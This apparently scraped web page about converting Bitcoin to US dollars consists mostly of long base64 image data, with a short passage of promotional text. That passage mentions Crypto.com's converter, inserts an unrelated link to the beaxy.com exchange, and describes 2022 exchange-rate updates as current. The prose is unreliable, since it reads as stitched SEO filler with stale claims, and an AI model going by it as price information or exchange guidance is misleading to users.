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KfZURvmUcRxwkL6RP7VT7R47fwvyq/wA/j4/PnArMpRVU71gvkVREiInKIPyi/P8AK/P/APHwQec89g2A2xVZgBD7+RMGip93WGI/PTj4+V4Ttyvzz8Lx/v52yK7JyNSjXDIDzygFHReU4/HPPx8/zx/j/dV3/OeAD71blKp2j3bAnwHCHFQh+E+7nhUX5X/1yvx5+MV2WE2z9TcRwP7leQGEJPkERERV4/Bcrzx8/wCE8IfOeAYP6dkwIItW7a8mqkZMjyg8DwnCcc/PZefjj7fzwvPx+m5hwn/8xxuePn/kv5+P/r/8/wDtP8eEPnPAB4YWYASN/q0cwRG+XCaRF5QV7/an/wBXH8/hePhU5X7WDli88XbAr9/H/LoqfP8Ab8c/x8ovyvPwvx+PN7zngGE1AypGej94wTnuISmEVBTr8cjwpL/HPz/lU/xwvupmbZiELVzKbkyRVUV1sOqEifCLx/Crxyv8Iq8J57/OeAc855zzngHPOec854BzznnPOeAc855zzngHPOec854BzznnPOeAc855zzngHPOec854BzznnPOeAc855zzngHPOec854Atss1deXmSzb6rySNDCYDP7bsH3VbNseqEK90+f5/HmrH1bjrtZWxbllJkuujMxwkpyBIrakqKKc/H3Eq8fheE55ROPDTznnm7X0nabPcT3WjFqc7vLfLt0m6VvODCOnGLcl3AxdSYT7sVwK0gSGratgLpdV6IiD2TngvhE/u5589D2tcbffiSCCQhQhQWkR1VTr7YNqi88/kG20Vfz9iKnCqqqV+c89IzBer1zjdKIjWtPtdPZ6qrxFwLbguCn3Kqf9gIq/ngU+f588r+qMRkxnYr7EgxeFoDL3yQlFoCFseUX8ChfH/hFXleeTLzngAc5qjD3YMCvWI6LdcnVhRdISRP9yReV/wDv+f8Awqp59VmrMRpWybqorsbvI+qIgdLknfnglX/ZV5/8+F/nPAAiTp7CJlUzSy683YUYhJponF4AhXlFRfzz8D+V/hP8rybInCIn+PP3zngH/9k=" width="304px" alt="bitcoin to usd calc"/><br />
On the contrary, you can convert and find out the current value of 1 US Dollar in Bitcoin. To check Bitcoin price live in the fiat currency of your choice, you can use Crypto.com&#8217;s converter feature in the top right corner of this page. The United States Dollar is also known as the American Dollar, and the US Dollar. <a href="https://www.beaxy.com/">https://www.beaxy.com/</a> The exchange rate for the Bitcoin was last updated on April 25, 2022 from coinmarketcap.com. The exchange rate for the United States Dollar was last updated on April 24, 2022 from The International Monetary Fund. This Bitcoin and United States Dollar convertor is up to date with exchange rates from April 25, 2022.<br />
<a href="https://www.beaxy.com/"><img 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